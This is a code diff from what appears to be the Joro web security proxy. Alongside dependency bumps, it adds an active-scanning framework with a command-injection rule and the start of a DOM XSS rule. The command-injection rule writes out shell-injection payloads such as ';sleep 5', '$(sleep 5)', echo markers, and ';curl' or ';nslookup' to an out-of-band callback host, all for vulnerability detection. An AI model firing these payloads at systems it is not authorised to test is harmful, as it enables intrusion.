package main
import (
+1 -1
View File
@@ -16,6 +16,6 @@
</head>
<body>
<h1>Hello Feature</h1>
<p>This is an example plugin feature rendered as a sub-tab within the Plugins page.</p>
<p>This is an example plugin feature rendered as a sub-tab within Settings &rarr; Plugins.</p>
</body>
</html>
+15 -8
View File
@@ -2,32 +2,39 @@ module github.com/BishopFox/joro
go 1.25.0
godebug multipathtcp=0
require github.com/hashicorp/go-uuid v1.0.3
require (
github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
github.com/dop251/goja v0.0.0-20260806115107-493f22071ef6
github.com/gorilla/websocket v1.5.3
github.com/miekg/dns v1.1.72
github.com/spf13/pflag v1.0.10
golang.org/x/net v0.55.0
golang.org/x/sys v0.45.0
google.golang.org/grpc v1.79.3
golang.org/x/net v0.58.0
golang.org/x/sys v0.47.0
google.golang.org/grpc v1.83.2
google.golang.org/protobuf v1.36.11
gopkg.in/yaml.v3 v3.0.1
modernc.org/sqlite v1.46.1
)
require (
github.com/dlclark/regexp2/v2 v2.5.2 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 // indirect
golang.org/x/mod v0.35.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/text v0.37.0 // indirect
golang.org/x/tools v0.44.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 // indirect
golang.org/x/mod v0.38.0 // indirect
golang.org/x/sync v0.22.0 // indirect
golang.org/x/text v0.41.0 // indirect
golang.org/x/tools v0.48.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa // indirect
modernc.org/libc v1.67.6 // indirect
modernc.org/mathutil v1.7.1 // indirect
modernc.org/memory v1.11.0 // indirect
+42 -28
View File
@@ -1,11 +1,21 @@
github.com/Masterminds/semver/v3 v3.5.0 h1:kQceYJfbupGfZOKZQg0kou0DgAKhzDg2NZPAwZ/2OOE=
github.com/Masterminds/semver/v3 v3.5.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/dlclark/regexp2/v2 v2.5.2 h1:HAsucWRhsqcDzl6Ua9aR8JwYOTzrZyPrF0/FNxJVAI0=
github.com/dlclark/regexp2/v2 v2.5.2/go.mod h1:avUrQvPaLz2DrFNHJF0taWAFFX2C1GMSSoeiqFjcBmU=
github.com/dop251/goja v0.0.0-20260806115107-493f22071ef6 h1:Oh2rRG1un7tLlC3/NJDzKppZ4CeZGkVFJCUOTRwLpfw=
github.com/dop251/goja v0.0.0-20260806115107-493f22071ef6/go.mod h1:LiIEzozrcvNXorsG/3+ypGqdTUAqZryhzSsqi0oU/Qg=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
@@ -32,39 +42,43 @@ github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
go.opentelemetry.io/otel v1.39.0 h1:8yPrr/S0ND9QEfTfdP9V+SiwT4E0G7Y5MO7p85nis48=
go.opentelemetry.io/otel v1.39.0/go.mod h1:kLlFTywNWrFyEdH0oj2xK0bFYZtHRYUdv1NklR/tgc8=
go.opentelemetry.io/otel/metric v1.39.0 h1:d1UzonvEZriVfpNKEVmHXbdf909uGTOQjA0HF0Ls5Q0=
go.opentelemetry.io/otel/metric v1.39.0/go.mod h1:jrZSWL33sD7bBxg1xjrqyDjnuzTUB0x1nBERXd7Ftcs=
go.opentelemetry.io/otel/sdk v1.39.0 h1:nMLYcjVsvdui1B/4FRkwjzoRVsMK8uL/cj0OyhKzt18=
go.opentelemetry.io/otel/sdk v1.39.0/go.mod h1:vDojkC4/jsTJsE+kh+LXYQlbL8CgrEcwmt1ENZszdJE=
go.opentelemetry.io/otel/sdk/metric v1.39.0 h1:cXMVVFVgsIf2YL6QkRF4Urbr/aMInf+2WKg+sEJTtB8=
go.opentelemetry.io/otel/sdk/metric v1.39.0/go.mod h1:xq9HEVH7qeX69/JnwEfp6fVq5wosJsY1mt4lLfYdVew=
go.opentelemetry.io/otel/trace v1.39.0 h1:2d2vfpEDmCJ5zVYz7ijaJdOF59xLomrvj7bjt6/qCJI=
go.opentelemetry.io/otel/trace v1.39.0/go.mod h1:88w4/PnZSazkGzz/w84VHpQafiU4EtqqlVdxWy+rNOA=
go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU=
go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc=
go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc=
go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo=
go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58=
go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0=
go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI=
go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA=
go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk=
go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 h1:mgKeJMpvi0yx/sU5GsxQ7p6s2wtOnGAHZWCHUM4KGzY=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546/go.mod h1:j/pmGrbnkbPtQfxEe5D0VQhZC6qKbfKifgD0oM7sR70=
golang.org/x/mod v0.35.0 h1:Ww1D637e6Pg+Zb2KrWfHQUnH2dQRLBQyAtpr/haaJeM=
golang.org/x/mod v0.35.0/go.mod h1:+GwiRhIInF8wPm+4AoT6L0FA1QWAad3OMdTRx4tFYlU=
golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8=
golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/mod v0.38.0 h1:MECBjubtXD7yj4HrhIUcywNaGeNVUdfVnxmPajOk4yk=
golang.org/x/mod v0.38.0/go.mod h1:V6Xz0pq8TQ3dGqVQ1FVHuelZpAL0uNhSkk9ogYP3c40=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc=
golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38=
golang.org/x/tools v0.44.0 h1:UP4ajHPIcuMjT1GqzDWRlalUEoY+uzoZKnhOjbIPD2c=
golang.org/x/tools v0.44.0/go.mod h1:KA0AfVErSdxRZIsOVipbv3rQhVXTnlU6UhKxHd1seDI=
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 h1:gRkg/vSppuSQoDjxyiGfN4Upv/h/DQmIR10ZU8dh4Ww=
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217/go.mod h1:7i2o+ce6H/6BluujYR+kqX3GKH+dChPTQU19wjRPiGk=
google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE=
google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.48.0 h1:3+hClM1aLL5mjMKm5ovokw9epgRXPuu2tILgismM6RE=
golang.org/x/tools v0.48.0/go.mod h1:08xX0orndb/F7jJxGDicx061tyd5pcMto75YMAXr6lk=
gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4=
gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa h1:mZHHdPZl0dbGHCflZgAq/Q468DWVFcU2whhB2KAo8fk=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/grpc v1.83.2 h1:EManeRomTObA0BU7I8vXgg/78uE5MJ9M8B39EX2WscU=
google.golang.org/grpc v1.83.2/go.mod h1:YPI1hK3kDked6iHvgX3tR0y+nX/qpMFKhPgFsokw1S8=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
+277
View File
@@ -0,0 +1,277 @@
// Package activescan is Joro's operator-initiated active scanning: unlike detect,
// echo and anomaly — which only ever read captured traffic — a scan originates
// traffic or drives a browser against a target the operator picked, and files
// confirmed results into the shared detect.Store.
//
// # A framework, not one check
//
// A scan runs a set of pluggable Rules against one Target. DOM XSS is the first
// and only rule today; the interface exists so a future active rule (a reflected-
// XSS prober, an open-redirect check) plugs in without the run machinery, the
// scope rule or the context-menu wiring changing. The registry is an instance a
// caller builds and owns, not a package global, per the project's no-globals rule.
//
// # One run at a time
//
// Like internal/chainrun, a scan is sequential and the store refuses a second
// concurrent run (the AddIfIdle guard). A DOM XSS scan drives a single browser
// and a future state-changing rule would race the application's own state, so
// coexisting runs would describe the interleaving rather than the target.
//
// # Scope is a filter, not a gate
//
// The target's URLs are scope-filtered by the handler through proxy.Scope.InScope,
// which returns true whenever scope filtering is disabled. So with scope off — the
// default — nothing is rejected and a scan covers every target; scope only narrows
// a scan once the operator turns it on. Rules therefore receive an already-filtered
// URL list and never re-check.
package activescan
import (
"context"
"sort"
"sync"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
)
// Status is a run's state.
type Status string
const (
StatusRunning Status = "running"
StatusComplete Status = "complete"
StatusStopped Status = "stopped"
)
// Bounds.
const (
MaxRuns = 20
// MaxURLs caps a single host scan: a large site map should not turn one click
// into thousands of navigations.
MaxURLs = 200
DefaultBudgetMs = 600000 // 10 minutes
MaxBudgetMs = 1800000 // 30 minutes
)
// TargetURL is one address to exercise.
type TargetURL struct {
URL string `json:"url"`
Method string `json:"method"`
RequestID string `json:"requestId,omitempty"` // the capture it came from, if any
// RawReq carries the captured request bytes for a future HTTP-sending rule.
// The DOM XSS rule navigates to URL and ignores it.
RawReq []byte `json:"-"`
}
// Target is what a scan operates on: one host's endpoints, or a single request.
type Target struct {
Scheme string `json:"scheme"`
Host string `json:"host"` // Host-header form (may carry :port)
Origin string `json:"origin"` // scheme://host
URLs []TargetURL `json:"-"`
}
// Config is snapshotted when a run starts.
type Config struct {
// Scope records how the target was chosen, for display: "host" or "request".
Scope string
// Rules names the rule IDs to run; empty means every registered rule.
Rules []string
// AllowDestructive is the arming gate reserved for rules that change state.
// DOM XSS is read-only navigation and does not consult it, but the field is
// the seam a future rule's Plan refusal hangs on.
AllowDestructive bool
// Tags and Severity narrow which signatures the template rule runs; empty
// means no filter. IgnoreFingerprint makes that rule skip fingerprint gating
// and run every eligible signature. Only the template-signature rule reads
// these; other rules ignore them.
Tags []string
Severity []string
IgnoreFingerprint bool
// NoOAST opts the injection rules out of out-of-band testing even when a
// callback listener is configured. OAST is already disabled when no listener
// is configured; this is the operator's explicit opt-out when one is.
NoOAST bool
BudgetMs int
}
// RuleDeps is everything a rule might need to originate traffic or drive a
// browser. A rule takes what it uses and ignores the rest.
type RuleDeps struct {
ProxyAddr string
CA *cert.CA
Store *proxy.Store
Scope *proxy.Scope
DataDir string
// Tech is the passive fingerprint store. The template-signature rule reads it
// to run only the checks a host's detected stack warrants; nil disables gating
// (every eligible signature runs).
Tech *techfp.Store
// Callback is the out-of-band (OAST) callback store. The injection rules mint a
// token and poll it for blind interactions; nil (or no configured domain)
// disables OAST vectors, so they run only when a listener/domain is configured.
Callback *callback.Store
}
// Reporter is how a rule reports progress and results back to the run. Both
// methods are safe to call from the rule's own goroutines.
type Reporter interface {
// Finding files a confirmed result into the shared detect store.
Finding(detect.Finding)
// Progress advances the run's completed count by delta units of work.
Progress(delta int)
}
// Rule is one active check. It owns its own traversal and resources: the DOM XSS
// rule launches one browser and drives every URL through it, tearing it down
// when Run returns.
type Rule interface {
ID() string
Name() string
Category() detect.Category
// Description explains what the rule does, for the Rules UI. It is the active
// counterpart to a passive rule's Description field.
Description() string
Run(ctx context.Context, t Target, cfg Config, deps RuleDeps, rep Reporter) error
}
// Registry holds the rules a host process offers. It is built and owned by the
// caller (the API server), not a package global.
//
// A rule's enabled-state is stored as the DISABLED set (an absent id is enabled),
// so a newly-registered rule defaults on with no migration and the project file
// persists only the exceptions. The enabled-state is per-project session state:
// applyProjectConfig sets it on a project switch and buildProjectConfig reads it.
type Registry struct {
mu sync.RWMutex
rules map[string]Rule
order []string
disabled map[string]bool
}
// NewRegistry creates an empty registry.
func NewRegistry() *Registry {
return &Registry{rules: make(map[string]Rule), disabled: make(map[string]bool)}
}
// Register adds a rule, keeping registration order for listing.
func (r *Registry) Register(rule Rule) {
r.mu.Lock()
defer r.mu.Unlock()
if _, ok := r.rules[rule.ID()]; !ok {
r.order = append(r.order, rule.ID())
}
r.rules[rule.ID()] = rule
}
// Get returns a rule by ID, or nil.
func (r *Registry) Get(id string) Rule {
r.mu.RLock()
defer r.mu.RUnlock()
return r.rules[id]
}
// All returns every registered rule in registration order.
func (r *Registry) All() []Rule {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]Rule, 0, len(r.order))
for _, id := range r.order {
out = append(out, r.rules[id])
}
return out
}
// IsEnabled reports whether a rule runs when no explicit selection is made.
func (r *Registry) IsEnabled(id string) bool {
r.mu.RLock()
defer r.mu.RUnlock()
return !r.disabled[id]
}
// SetEnabled toggles a rule's enabled-state.
func (r *Registry) SetEnabled(id string, on bool) {
r.mu.Lock()
defer r.mu.Unlock()
if on {
delete(r.disabled, id)
} else {
r.disabled[id] = true
}
}
// Disabled returns the disabled rule IDs, sorted — the set the project file
// persists.
func (r *Registry) Disabled() []string {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]string, 0, len(r.disabled))
for id := range r.disabled {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabled replaces the disabled set, for a project restore. A nil slice
// clears it, so a project with no setting runs every rule.
func (r *Registry) SetDisabled(ids []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.disabled = make(map[string]bool, len(ids))
for _, id := range ids {
r.disabled[id] = true
}
}
// Resolve returns the rules a config selects, in registration order. An empty
// selection means every ENABLED rule; an explicit selection returns the named
// registered rules regardless of enabled-state, so an operator choosing a rule
// overrides its global toggle.
func (r *Registry) Resolve(ids []string) []Rule {
if len(ids) == 0 {
out := make([]Rule, 0, len(r.order))
for _, rule := range r.All() {
if r.IsEnabled(rule.ID()) {
out = append(out, rule)
}
}
return out
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
out := make([]Rule, 0, len(ids))
for _, rule := range r.All() {
if want[rule.ID()] {
out = append(out, rule)
}
}
return out
}
func clampInt(v, def, lo, hi int) int {
if v == 0 {
return def
}
if v < lo {
return lo
}
if v > hi {
return hi
}
return v
}
+91
View File
@@ -0,0 +1,91 @@
package activescan
import (
"sort"
"sync"
)
// CatalogField is one labelled line in an item's read-only detail.
type CatalogField struct {
Label string `json:"label"`
Value string `json:"value"`
}
// CatalogItem is one entry in a rule's catalog — a nuclei signature or an injection
// check. It carries the common columns plus a free-form Detail list, so the handler
// and UI are agnostic to the item kind.
type CatalogItem struct {
ID string `json:"id"`
Name string `json:"name"`
Severity string `json:"severity"`
Confidence string `json:"confidence,omitempty"`
Target string `json:"target,omitempty"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Enabled bool `json:"enabled"`
Detail []CatalogField `json:"detail,omitempty"`
}
// Cataloger is implemented by a Rule that exposes a catalog of individually
// toggleable items (Template signatures, or an injection rule's checks). It is
// optional — a single-check rule like DOM XSS does not implement it. The
// enable/disable half is satisfied by embedding *DisabledSet.
type Cataloger interface {
CatalogItems() []CatalogItem
IsItemEnabled(id string) bool
SetItemEnabled(id string, on bool)
DisabledItems() []string
SetDisabledItems(ids []string)
}
// DisabledSet is a reusable per-item disabled set (an absent id is enabled),
// mirroring the Registry's per-rule model at item granularity. Rules embed it to
// get four of the five Cataloger methods for free; it is per-project session state
// (applyProjectConfig sets it, buildProjectConfig reads it).
type DisabledSet struct {
mu sync.RWMutex
m map[string]bool
}
// NewDisabledSet returns an empty set (everything enabled).
func NewDisabledSet() *DisabledSet { return &DisabledSet{m: map[string]bool{}} }
// IsItemEnabled reports whether an item runs (absent from the disabled set).
func (d *DisabledSet) IsItemEnabled(id string) bool {
d.mu.RLock()
defer d.mu.RUnlock()
return !d.m[id]
}
// SetItemEnabled toggles one item's disabled-state.
func (d *DisabledSet) SetItemEnabled(id string, on bool) {
d.mu.Lock()
defer d.mu.Unlock()
if on {
delete(d.m, id)
} else {
d.m[id] = true
}
}
// DisabledItems returns the disabled ids, sorted — the set the project file persists.
func (d *DisabledSet) DisabledItems() []string {
d.mu.RLock()
defer d.mu.RUnlock()
out := make([]string, 0, len(d.m))
for id := range d.m {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabledItems replaces the set, for a project restore. A nil slice clears it.
func (d *DisabledSet) SetDisabledItems(ids []string) {
d.mu.Lock()
defer d.mu.Unlock()
d.m = make(map[string]bool, len(ids))
for _, id := range ids {
d.m[id] = true
}
}
+134
View File
@@ -0,0 +1,134 @@
// Package cmdi is the active command-injection rule. It exposes checks for
// output-marker, Unix/Windows timing, and out-of-band detection; each appends
// shell-metacharacter payloads to a parameter.
package cmdi
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "cmdi"
findingRule = "activescan.cmdi"
sleepMs = 5000
oastWindow = 12 * time.Second
// marker product 73*79=5767: a shell evaluates the arithmetic, while a merely
// reflective app echoes the literal "$((73*79))" — so the computed form confirms
// execution, not reflection.
markerProduct = "5767"
)
var unixTime = []string{`;sleep 5`, `|sleep 5`, `||sleep 5`, `&&sleep 5`, "`sleep 5`", `$(sleep 5)`}
var winTime = []string{`& timeout /t 5`, `& ping -n 6 127.0.0.1`}
func markerSuffixes(nonce string) []string {
e := nonce + `$((73*79))`
return []string{`;echo ` + e, `|echo ` + e, "`echo " + e + "`", `& echo ` + e}
}
func oastSuffixes(host string) []string {
return []string{`;nslookup ` + host, `|nslookup ` + host, `$(nslookup ` + host + `)`, `& nslookup ` + host, `;curl ` + host}
}
var checks = []injkit.Check{
{
ID: "output", Name: "Output marker", Severity: detect.SeverityCritical,
Description: "Appends an echo of a shell-arithmetic marker; the computed result in the response confirms execution (not mere reflection).",
Payloads: []string{`;echo <marker>$((73*79))`, `|echo …`, "`echo …`", `& echo …`},
Probe: outputMarker,
},
{
ID: "time-unix", Name: "Time-based (Unix)", Severity: detect.SeverityCritical,
Description: "Appends a Unix sleep and confirms a delayed response twice.",
Payloads: unixTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, unixTime) },
},
{
ID: "time-windows", Name: "Time-based (Windows)", Severity: detect.SeverityCritical,
Description: "Appends a Windows timeout/ping delay and confirms a delayed response twice.",
Payloads: winTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, winTime) },
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityCritical,
Description: "Appends nslookup/curl to the callback host and polls the listener for an interaction.",
Payloads: []string{`;nslookup <callback>`, `$(nslookup <callback>)`, `;curl <callback>`},
RequiresOAST: true,
Probe: oastBased,
},
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Command injection" }
func (*Rule) Category() detect.Category { return detect.CategoryCommandInjection }
func (*Rule) Description() string {
return "Appends shell-metacharacter payloads (echo marker, sleep/timeout, and — when a " +
"callback listener is configured — nslookup/curl) to each parameter, confirming via an " +
"evaluated marker, a timing delay, or an out-of-band callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryCommandInjection, "Command injection")
return nil
}
func outputMarker(pc injkit.ProbeCtx) {
nonce := "joro" + randHex(5)
for _, s := range markerSuffixes(nonce) {
if res := pc.Inject(s, true); res != nil && strings.Contains(string(res.Resp.Body), nonce+markerProduct) {
pc.File(detect.SeverityCritical, "output-based command injection in "+pc.Point.Name, "injected "+s+" and the shell-evaluated marker was echoed", res.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx, suffixes []string) {
for _, s := range suffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityCritical, "time-based blind command injection in "+pc.Point.Name, "injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("cmdi")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityCritical, "out-of-band command injection in "+pc.Point.Name, "an injected command triggered a callback to "+host, pc.Base.URL)
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+294
View File
@@ -0,0 +1,294 @@
// Package domxss is the first internal/activescan rule: it confirms DOM-based XSS
// by driving a headless browser over CDP.
//
// For each target URL it plants a distinct canary token in each controllable DOM
// source — the URL fragment, a query value and window.name — then navigates to
// the URL. A monitor shim (monitor.js), injected before any page script runs and
// so unaffected by the page's CSP, wraps the dangerous sinks (innerHTML, eval,
// document.write, setAttribute, jQuery.html, …). When a canary reaches a sink the
// shim reports which one and from which source over a CDP binding, and that
// becomes a high-confidence detect.Finding.
//
// Per-source canaries make attribution exact: because the hash, query and name
// tokens differ, a sink hit names the precise source that reached it rather than
// guessing from whichever source happened to hold the payload.
package domxss
import (
"context"
"crypto/rand"
_ "embed"
"encoding/hex"
"encoding/json"
"fmt"
"net/url"
"path/filepath"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/cdp"
"github.com/BishopFox/joro/internal/detect"
)
//go:embed monitor.js
var monitorJS string
const (
ruleID = "domxss"
bindingName = "__joroDomXss"
findingRule = "activescan.domxss"
connectTimeout = 20 * time.Second
perURLTimeout = 15 * time.Second
settleDelay = 1200 * time.Millisecond
)
// Rule implements activescan.Rule.
